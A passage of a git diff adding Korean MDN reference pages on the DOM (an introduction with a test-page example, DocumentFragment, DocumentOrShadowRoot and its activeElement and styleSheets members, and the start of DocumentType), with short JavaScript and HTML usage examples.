+ <p>attribute 가 member 에 의해 리턴되는 것은(예를 들어 <strong><code>createAttribute()</code></strong> method 호출에 의한 리턴), attribute 에 대한 특별한 인터페이스를 노출하는 object reference 이다. attributes 는 DOM 에서 elements 와 같은 nodes 이다. elements 만큼 많이 사용되지는 않는다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>namedNodeMap</code></td>
+ <td>
+ <p><code>namedNodeMap</code> 는 array 와 유사하지만 items 은 name 또는 index 에 의해 접근 가능하다. 리스트는 특별한 정렬이 적용되지 않았기 enumeration 할 때 index 를 주로 사용한다. <code>namedNodeMap</code> 는 이를 위해 item() method 가 있으며, <code>namedNodeMap</code> 에 item 을 추가하거나 삭제할 수 있다.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="DOM_interfaces" name="DOM_interfaces">DOM interfaces</h2>
+
+<p>이 문서는 objects 와 DOM 에서 조작가능한 것들에 대해 설명하고 있다. 사람들은 HTML FORM element 가 <code>HTMLFormElement</code> interface 로부터 <strong><code>name</code></strong> property 를 얻고, <strong><code>className</code></strong> property 는  <code>HTMLElement</code> interface 로부터 얻는 것에 대해 별로 관심을 보이지 않는 것 같다. 두가지 경우 모두, property 는 form object 안에 있는 것이다. </p>
+
+<p>하지만 DOM 안에 구현된 objects 와 interfaces 사이의 관계는 혼동될 수 있다. 이 섹션에서는 DOM specification 안의 실제  interfaces 와 그들을 어떻게 활용할 수 있는지에 대해 살펴보도록 하겠다.</p>
+
+<h3 id="Interfaces_and_Objects" name="Interfaces_and_Objects">Interfaces 와 Objects</h3>
+
+<p>많은 objects 가 여러 개의 다른 interfaces 와 연관되어 있다.  예를 들어, table object 는 <code>createCaption</code>, <code>insertRow</code> method 들이 포함된 {{domxref("HTMLTableElement")}} 을 구현한 것이다. table object 는 HTML element 이기도 하기 때문에, <code>table</code> 은 <code>Element</code> interface(DOM {{domxref("Element")}} Reference 챕터 참조)도 구현한다. 마지막으로, HTML element 는 DOM 이 연관되어 있는 한 nodes 트리(tree)에서 하나의 node 이다. nodes 트리는 웹 페이지 또는 XML 페이지를 위한 object model 을 구성한다. 때문에 table element 는 보다 기본적인 <code>Element</code> 에서 파생된 <code>Node</code> interface 를 구현하고 있다.</p>
+
+<p>아래의 예제처럼, <code>table</code> object 를 참조하게 되면, 기본적으로 이들 3 가지 interfaces 를 사용할 수 있게 된다.</p>
+
+<pre class="brush: js">var table = document.getElementById("table");
+var tableAttrs = table.attributes; // Node/Element interface
+for (var i = 0; i &lt; tableAttrs.length; i++) {
+ // HTMLTableElement interface: border attribute
+ if(tableAttrs[i].nodeName.toLowerCase() == "border")
+ table.border = "1";
+}
+// HTMLTableElement interface: summary attribute
+table.summary = "note: increased border";
+</pre>
+
+<h3 id="Core_Interfaces_in_the_DOM" name="Core_Interfaces_in_the_DOM">DOM 의 핵심 Interfaces</h3>
+
+<p>이 섹션은 DOM 에서 가장 많이 사용되는 interfaces 를 정리해보았다. 여기에서는 이들 API 가 실제로 어떤 일을 하는지 설명하는 대신 DOM 을 사용하면서 자주 만나게 되는 methods 와 properties 를 보여줄 것이다.  이들 API 는 이 책의 마지막에 소개된 <a href="/ko/docs/Gecko_DOM_Reference/Examples" title="Gecko_DOM_Reference/Examples">DOM 예제</a>에서도 사용되었다.</p>
+
+<p><code>Document</code> 와 <code>window</code> objects 는 DOM 프로그래밍에서 가장 자주 사용하는 objects 이다.  간단하게 설명하자면, <code>window</code> object 는 브라우저와 같다고 할 수 있으며, <code>document</code> object 는 root document 자체라고 할 수 있다. generic <code>Node</code> interface 로부터 상속받은 <code>Element</code> 와 <code>Node</code>, <code>Element</code> interfaces 가 협력하여 각각의 elements 에서 사용할 수 있는 수많은 methods 와 properties 를 제공한다. 이러한 elements 는 이전 섹션에서 설명한 <code>table</code> object 예제에서도 살펴봤듯이, elements 가 보유한 데이터를 처리할 수 있는 특정한 interfaces 도 가지고 있다.</p>
+
+<p>아래는 웹 페이지, XML 페이지 스크립팅에서 DOM 을 사용하는 공통적인 API 들의 간략한 목록이다. </p>
+
+<ul>
+ <li><code><a href="/ko/docs/DOM/document.getElementById" title="DOM/document.getElementById">document.getElementById</a>(id)</code></li>
+ <li><code>document.<a href="/ko/docs/Web/API/Element.getElementsByTagName" title="DOM/element.getElementsByTagName">getElementsByTagName</a>(name)</code></li>
+ <li><code><a href="/ko/docs/DOM/document.createElement" title="DOM/document.createElement">document.createElement</a>(name)</code></li>
+ <li><code>parentNode.<a href="/ko/docs/DOM/Node.appendChild" title="DOM/Node.appendChild">appendChild</a>(node)</code></li>
+ <li><code>element.<a href="/ko/docs/DOM/element.innerHTML" title="DOM/element.innerHTML">innerHTML</a></code></li>
+ <li><code>element.<a href="/ko/docs/DOM/element.style" title="DOM/element.style">style</a>.left</code></li>
+ <li><code>element.<a href="/ko/docs/DOM/element.setAttribute" title="DOM/element.setAttribute">setAttribute</a></code></li>
+ <li><code>element.<a href="/kodocs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute</a></code></li>
+ <li><code>element.<a href="/ko/docs/DOM/element.addEventListener" title="DOM/element.addEventListener">addEventListener</a></code></li>
+ <li><code><a href="/ko/docs/DOM/window.content" title="DOM/window.content">window.content</a></code></li>
+ <li><code><a href="/ko/docs/DOM/window.onload" title="DOM/window.onload">window.onload</a></code></li>
+ <li><code><a href="/ko/docs/DOM/window.dump" title="DOM/window.dump">window.dump</a></code></li>
+ <li><code><a href="/ko/docs/DOM/window.scrollTo" title="DOM/window.scrollTo">window.scrollTo</a></code></li>
+</ul>
+
+<h2 id="Testing_the_DOM_API" name="Testing_the_DOM_API">DOM API 테스팅</h2>
+
+<p>이 문서는 사용자가 웹 개발에 사용할 수 있는 모든 interface 에 대한 예제를 제공한다. 예제는 <code>&lt;script&gt;</code> element 안에서 DOM 에 접근하는 완벽한 HTML 페이지 형태인 것도 있고, form 에서 script 를 실행하기 위해 버튼과 같은 interface 가 필요한 경우도 있으며, DOM 이 목록화되어 수행되는 HTML elements 도 있을 것이다. 사용자들은 이러한 예제를 새로운 HTML 문서에 복사하여 브라우저에서 실행할 수 있다. </p>
+
+<p>어떤 예제는 매우 간단할 수도 있다. HTML elements 에 대한 interface의 기본적인 관계만 보여주는 이러한 예제를 실행할 때는, 스크립트에서 쉽게 접근할 수 있는 test page 를 설정할 수도 있다. 아래의 예제는 interface를 테스트 할 수 있는 함수가 위치할 수 있는 header 안에  <code>&lt;script&gt;</code> element 제공한다. 이 함수는 retrieve, set, 조작할 수 있는 attributes 가 포함된 HTML elements 가 사용되었으며, 브라우저에서 이들 함수를 호출하기 위해 웹 UI 를 제공한다.</p>
+
+<p>사용자는 자신이 관심있어 하는 DOM interfaces 를 테스트 하기 위해, 이 test page 를 사용하거나 이와 비슷한 것을 만들어 브라우저에서 어떻게 동작하는지 확인할 수 있다. 사용자는 <code>test()</code> 함수 내용을 필요에 따라 업데이트할 수 있다. (버튼 추가, elements 추가 등)</p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;DOM Tests&lt;/title&gt;
+ &lt;script type="application/javascript"&gt;
+ function setBodyAttr(attr,value){
+ if (document.body) eval('document.body.'+attr+'="'+value+'"');
+ else notSupported();
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;div style="margin: .5in; height: 400;"&gt;
+ &lt;p&gt;&lt;b&gt;&lt;tt&gt;text&lt;/tt&gt;color&lt;/b&gt;&lt;/p&gt;
+ &lt;form&gt;
+ &lt;select onChange="setBodyAttr('text',
+ this.options[this.selectedIndex].value);"&gt;
+ &lt;option value="black"&gt;black
+ &lt;option value="darkblue"&gt;darkblue
+ &lt;/select&gt;
+ &lt;p&gt;&lt;b&gt;&lt;tt&gt;bgColor&lt;/tt&gt;&lt;/b&gt;&lt;/p&gt;
+ &lt;select onChange="setBodyAttr('bgColor',
+ this.options[this.selectedIndex].value);"&gt;
+ &lt;option value="white"&gt;white
+ &lt;option value="lightgrey"&gt;gray
+ &lt;/select&gt;
+ &lt;p&gt;&lt;b&gt;&lt;tt&gt;link&lt;/tt&gt;&lt;/b&gt;&lt;/p&gt;
+ &lt;select onChange="setBodyAttr('link',
+ this.options[this.selectedIndex].value);"&gt;
+ &lt;option value="blue"&gt;blue
+ &lt;option value="green"&gt;green
+ &lt;/select&gt; &lt;small&gt;
+ &lt;a href="http://www.brownhen.com/dom_api_top.html" id="sample"&gt;
+ (sample link)&lt;/a&gt;&lt;/small&gt;&lt;br&gt;
+ &lt;/form&gt;
+ &lt;form&gt;
+ &lt;input type="button" value="version" onclick="ver()" /&gt;
+ &lt;/form&gt;
+ &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>단일 페이지(예를 들어, 웹 페이지의 색상에 영향을 주는 property 설정하는) 안의 수많은 interfaces 를 테스트하기 위해 설정 버튼, textfield, 또는 다른 HTML elements를 사용하여 유사한 테스트 페이지를 만들 수 있다. 아래의 스크린샷은 테스트를 위해 어떻게 interfaces를 그룹화하는지에 대한 아이디어를 제공하고 있다.  </p>
+
+<figure>
+<figcaption>Figure 0.1 Sample DOM Test Page</figcaption>
+<img alt="Image:DOM_Ref_Introduction_to_the_DOM.gif" class="internal" src="/@api/deki/files/173/=DOM_Ref_Introduction_to_the_DOM.gif"></figure>
+
+<p>이 예제에서 드롭다운 메뉴는 웹 페이지에서 DOM 접근가능한 배경색상(<code>bgColor</code>), 하이퍼링크 색상(<code>aLink</code>), 텍스트 색상(<code>text</code>)을 동적으로 업데이트한다. 어떻게 자신의 test pages 를 디자인하더라도, interface 테스트는 DOM 을 효과적으로 사용하는 법을 배우는 데 매우 중요한 수단임을 명심하라.</p>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
+
+<div>{{DefaultAPISidebar("DOM")}}</div>
diff --git a/files/ko/web/api/documentfragment/index.html b/files/ko/web/api/documentfragment/index.html
new file mode 100644
index 0000000000..a22770cfae
--- /dev/null
+++ b/files/ko/web/api/documentfragment/index.html
@@ -0,0 +1,139 @@
+---
+title: DocumentFragment
+slug: Web/API/DocumentFragment
+tags:
+ - API
+ - DOM
+ - DocumentFragment
+ - Documents
+ - Interface
+ - Reference
+ - Web Components
+translation_of: Web/API/DocumentFragment
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary"><strong><code>DocumentFragment</code></strong> 인터페이스는 부모가 없는 아주 작은 document 객체를 나타냅니다. {{domxref("Document")}}의 경량화된 버전으로 사용되며 표준문서와 같이 노드로 구성된 문서 구조의 일부를 저장합니다.</span> 중요한 차이점은 <code>DocumentFragment</code>는 활성화된 문서 트리 구조의 일부가 아니기 때문에 fragment를 변경해도 문서에는 영향을 미치지 않으며({{Glossary("reflow")}} 포함) 성능에도 영향이 없다는 점입니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }}</dt>
+ <dd>새로운 <code>DocumentFragment</code> 객체를 생성하여 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 특정한 속성이 없지만 부모인 {{domxref("Node")}}, {{domxref("ParentNode")}}의 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd><code>DocumentFragment</code> 객체의 자식 {{domxref("Element")}}를 전부 포함하는 실시간 {{domxref("HTMLCollection")}}을 반환합니다.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd><code>DocumentFragment</code> 객체의 첫번째 자식 {{domxref("Element")}}를 반환합니다. 없으면 <code>null</code>을 반환합니다.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd><code>DocumentFragment</code> 객체의 마지막 자식 {{domxref("Element")}}를 반환합니다. 없으면 <code>null</code>을 반환합니다.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd><code>DocumentFragment</code>가 가진 자식 수를 <code>unsigned long</code> 타입으로 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>이 인터페이스는 부모인 {{domxref("Node")}}와<em> {{domxref("ParentNode")}} 인터페이스의 메서드를 상속합니다</em></em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.querySelector()")}}</dt>
+ <dd><code>DocumentFragment</code> 내 지정된 선택자와 일치하는 첫번째 {{domxref("Element")}} 노드를 반환합니다.</dd>
+ <dt>{{domxref("DocumentFragment.querySelectorAll()")}}</dt>
+ <dd><code>DocumentFragment</code> 내 지정된 선택자와 일치하는 모든 {{domxref("Element")}} 노드를 {{domxref("NodeList")}} 형태로 반환합니다.</dd>
+ <dt>{{domxref("DocumentFragment.getElementById()")}}</dt>
+ <dd><code style="font-size: 14px;">DocumentFragment</code> 내 지정된 ID와 일치하는 첫번째 {{domxref("Element")}} 노드를 반환합니다. 기능적으로 {{domxref("Document.getElementById()")}}와 동일합니다.</dd>
+</dl>
+
+<h2 id="사용법">사용법</h2>
+
+<p><code>DocumentFragment</code>의 일반적인 용도는 <code>DocumentFragment</code>를 생성하고, 그 안에서 DOM 하위 트리를 조립한 다음, {{domxref("Node.appendChild", "appendChild()")}}나 {{domxref("Node.insertBefore", "insertBefore()")}}와 같은 {{domxref("Node")}} 인터페이스 메서드를 사용하여 DOM에 삽입하는 것입니다. 이렇게 하면 <code>DocumentFragment</code>의 노드들이 DOM으로 이동되고 빈 <code>DocumentFragment</code>만 남게 됩니다. 모든 노드가 한 번에 문서에 삽입되기 때문에 노드를 개별로 하나씩 삽입할 때마다 리플로우와 렌더링을 해주는 대신 단 한 번의 리플로우와 렌더링만 발생하게 됩니다.</p>
+
+<p>이 인터페이스는 웹 컴포넌트를 사용할 때도 매우 유용합니다: {{HTMLElement("template")}} 요소는 {{domxref("HTMLTemplateElement.content")}} 속성에 <code>DocumentFragment</code>를 포함하고 있습니다.</p>
+
+<p>빈 <code>DocumentFragment</code>는 {{domxref("document.createDocumentFragment()")}} 메서드나 생성자를 이용하여 만들 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;ul id="list"&gt;&lt;/ul&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var list = document.querySelector('#list')
+var fruits = ['Apple', 'Orange', 'Banana', 'Melon']
+
+var fragment = new DocumentFragment()
+
+fruits.forEach(function (fruit) {
+  var li = document.createElement('li')
+  li.innerHTML = fruit
+  fragment.appendChild(li)
+})
+
+list.appendChild(fragment)
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '', '', '', 'Web/API/DocumentFragment') }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Added the constructor and the implementation of {{domxref("ParentNode")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}</td>
+ <td>{{Spec2('Selectors API Level 1')}}</td>
+ <td>Added the <code>querySelector()</code> and <code>querySelectorAll()</code> methods.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>No change from {{SpecName('DOM2 Core')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>No change from {{SpecName('DOM1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DocumentFragment")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model">DOM 인터페이스</a></li>
+</ul>
diff --git a/files/ko/web/api/documentorshadowroot/activeelement/index.html b/files/ko/web/api/documentorshadowroot/activeelement/index.html
new file mode 100644
index 0000000000..2f4d4394d9
--- /dev/null
+++ b/files/ko/web/api/documentorshadowroot/activeelement/index.html
@@ -0,0 +1,94 @@
+---
+title: DocumentOrShadowRoot.activeElement
+slug: Web/API/DocumentOrShadowRoot/activeElement
+tags:
+ - API
+ - Document
+ - DocumentOrShadowRoot
+ - Focus
+ - Property
+ - Reference
+ - ShadowRoot
+translation_of: Web/API/DocumentOrShadowRoot/activeElement
+---
+<div>{{APIRef("Shadow DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Document")}}와 {{domxref("ShadowRoot")}} 인터페이스의 <strong><code>activeElement</code></strong> 읽기 전용 속성은 DOM과 섀도우 DOM 내에서 현재 포커스를 받은 {{domxref("Element")}} 객체를 반환합니다.</span> 이 속성은 {{domxref("DocumentOrShadowRoot")}} {{Glossary("mixin", "믹스인")}}에서 상속받습니다.</p>
+
+<p><code>activeElement</code> 접근 시점에 텍스트를 블록 선택하고 있는 경우 해당하는 {{htmlelement("input")}}이나 {{htmlelement("textarea")}} 객체를 반환하는데, 그러면 그 객체의 {{domxref("Document.selectionStart", "selectionStart")}}와 {{domxref("Document.selectionEnd", "selectionEnd")}} 메서드를 사용해 선택에 대한 더 자세한 정보를 알아낼 수 있습니다. 포커스가 자주 가는 다른 경우로는 {{htmlelement("select")}} 요소나 <code>type</code>이 <code>"button"</code>, <code>"checkbox"</code>, <code>"radio"</code>인 {{htmlelement("input")}} 요소가 있습니다.</p>
+
+<p>보통 사용자는 포커스 가능한 요소를 Tab 키를 사용해 탐색할 수 있고, 스페이스 바를 사용해 활성화(버튼을 누르거나 라디오 버튼을 켜는 등)할 수 있습니다. 포커스 가능한 요소는 현재 플랫폼과 브라우저 설정에 따라 다릅니다. 가령 macOS의 경우, 기본값에서는 텍스트 입력 칸이 아니면 보통 포커스 할 수 없습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 포커스(사용자의 입력 이벤트를 받는 요소)와 선택(문서 내에서 강조하고 있는 부분)은 다릅니다. 현재 선택 영역은 {{domxref("window.getSelection()")}}을 사용해 가져올 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>element</em> = <em>DocumentOrShadowRoot</em>.activeElement</pre>
+
+<h3 id="값">값</h3>
+
+<p>포커스를 갖고 있는 {{domxref("Element")}}. 그런 요소가 없으면 {{htmlelement("body")}} 또는 {{jsxref("null")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;아래 두 영역에서 텍스트를 선택해보세요.&lt;/p&gt;
+
+&lt;form&gt;
+ &lt;textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40"&gt;텍스트 영역 1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.&lt;/textarea&gt;
+ &lt;textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40"&gt;텍스트 영역 2. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.&lt;/textarea&gt;
+&lt;/form&gt;
+
+&lt;p&gt;활성화된 요소 ID: &lt;b id="output-element"&gt;&lt;/b&gt;&lt;/p&gt;
+&lt;p&gt;선택한 텍스트: &lt;b id="output-text"&gt;&lt;/b&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function onMouseUp(e) {
+ const activeTextarea = document.activeElement;
+ const selection = activeTextarea.value.substring(
+ activeTextarea.selectionStart, activeTextarea.selectionEnd
+ );
+
+ const outputElement = document.getElementById('output-element');
+ const outputText = document.getElementById('output-text');
+ outputElement.innerHTML = activeTextarea.id;
+ outputText.innerHTML = selection;
+}
+
+const textarea1 = document.getElementById('ta-example-one');
+const textarea2 = document.getElementById('ta-example-two');
+textarea1.addEventListener('mouseup', onMouseUp, false);
+textarea2.addEventListener('mouseup', onMouseUp, false);</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '400', '400') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.DocumentOrShadowRoot.activeElement")}}</p>
+</div>
diff --git a/files/ko/web/api/documentorshadowroot/index.html b/files/ko/web/api/documentorshadowroot/index.html
new file mode 100644
index 0000000000..74a6296b29
--- /dev/null
+++ b/files/ko/web/api/documentorshadowroot/index.html
@@ -0,0 +1,74 @@
+---
+title: DocumentOrShadowRoot
+slug: Web/API/DocumentOrShadowRoot
+tags:
+ - API
+ - Document
+ - DocumentOrShadowRoot
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - ShadowRoot
+ - TopicStub
+ - shadow dom
+translation_of: Web/API/DocumentOrShadowRoot
+---
+<div>{{APIRef("Web Components")}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM API</a> 의 <strong><code>DocumentOrShadowRoot</code></strong> 믹스인(mixin)은 문서와 섀도우 루트간에 공유되는 API를 제공합니다. 다음 기능은 문서{{DOMxRef("Document")}}와 {{DOMxRef("ShadowRoot")}}에 모두 포함되어 있습니다.</span></p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}</dt>
+ <dd>포커스를 가지는 섀도우 루트 내의 요소{{DOMxRef('Element')}}를 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}</dt>
+ <dd>현재 이 문서에서 full screen mode인 요소{{DOMxRef('Element')}}를 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>포인터가 잠겨있는 동안 마우스 이벤트의 대상으로 설정된 요소를 반환합니다. 잠금이 보류중이거나 포인터가 잠금 해제되어 있거나, 대상이 다른 문서(document)에 있으면 <code>null</code>을 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}</dt>
+ <dd>문서에 명시적으로 링크되었거나 포함하고 있는 스타일 시트의 {{DOMxRef('CSSStyleSheet')}} 객체의 {{DOMxRef('StyleSheetList')}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}</dt>
+ <dd>유저가 선택한 텍스트의 범위, 또는 캐럿(caret - 텍스트 커서)의 현재 위치를 나타내는 {{DOMxRef('Selection')}}객체를 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}</dt>
+ <dd>지정된 좌표의 최상위 요소를 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}</dt>
+ <dd>지정된 자표에 있는 모든 요소의 배열을 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt>
+ <dd>캐럿을 포함한 DOM 노드와 그 노드 내에서 캐럿의 문자 오프셋을 포함한 {{DOMxRef('CaretPosition')}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}</td>
+ <td>{{Spec2('Shadow DOM')}}</td>
+ <td>Implementation in Shadow DOM.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.DocumentOrShadowRoot")}}</p>
+
+<p>[1] This interface's features are still implemented on the {{DOMxRef("Document")}} object.</p>
diff --git a/files/ko/web/api/documentorshadowroot/stylesheets/index.html b/files/ko/web/api/documentorshadowroot/stylesheets/index.html
new file mode 100644
index 0000000000..cf6e1c38ce
--- /dev/null
+++ b/files/ko/web/api/documentorshadowroot/stylesheets/index.html
@@ -0,0 +1,57 @@
+---
+title: DocumentOrShadowRoot.styleSheets
+slug: Web/API/DocumentOrShadowRoot/styleSheets
+tags:
+ - API
+ - Document
+ - Propert
+ - Reference
+translation_of: Web/API/DocumentOrShadowRoot/styleSheets
+---
+<div>{{SeeCompatTable}}{{APIRef("Shadow DOM")}}</div>
+
+<p>{{domxref("DocumentOrShadowRoot")}} 인터페이스의 <strong><code>styleSheets</code></strong> 읽기 전용 속성은 문서에서 명시적으로 링크했거나, 안에 포함된 스타일시트에 대한 {{domxref('CSSStyleSheet')}} 객체의 {{domxref('StyleSheetList')}}를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">function getStyleSheet(unique_title) {
+ for(var i=0; i&lt;document.styleSheets.length; i++) {
+ var sheet = document.styleSheets[i];
+ if(sheet.title == unique_title) {
+ return sheet;
+ }
+ }
+}
+</pre>
+
+<h3 id="참고">참고</h3>
+
+<p>반환 된 목록은 다음과 같이 정렬됩니다:</p>
+
+<ul>
+ <li>{{htmlelement("link")}} 헤더에서 검색된 스타일시트가 먼저 배치되고, 헤더 순서로 정렬됩니다.</li>
+ <li>DOM에서 검색된 스타일시트는 <a href="https://dom.spec.whatwg.org/#concept-tree-order">tree order</a>로 정렬되어 배치됩니다.</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}</td>
+ <td>{{Spec2('Shadow DOM')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DocumentOrShadowRoot.styleSheets")}}</p>
diff --git a/files/ko/web/api/documenttype/index.html b/files/ko/web/api/documenttype/index.html
new file mode 100644
index 0000000000..f2d8f1cfa2
--- /dev/null
+++ b/files/ko/web/api/documenttype/index.html
@@ -0,0 +1,90 @@
+---
+title: DocumentType
+slug: Web/API/DocumentType
+tags:
+ - API
+ - DOM
+ - DocumentType
+ - 인터페이스
+translation_of: Web/API/DocumentType
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>DocumentType</code></strong> 인터페이스는 doctype을 포함하는 {{domxref("Node")}} 를 나타냅니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>부모 {{domxref("Node")}} 로부터 프로퍼티를 상속받고 {{domxref("ChildNode")}} 인터페이스를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentType.entities")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>DTD에 선언된 엔티티의 {{domxref("NamedNodeMap")}} 입니다. 이 맵의 모든 노드는 {{domxref("Entity")}} 인터페이스를 구현합니다.</dd>
+ <dt>{{domxref("DocumentType.internalSubset")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>내부 하위 집합의 {{domxref("DOMString")}} 입니다. 하위 집합이 존재하지 않을 경우 <code>null</code>입니다. 예, <code>"&lt;!ELEMENT foo (bar)&gt;"</code>.</dd>
+ <dt>{{domxref("DocumentType.name")}} {{readonlyInline}}</dt>
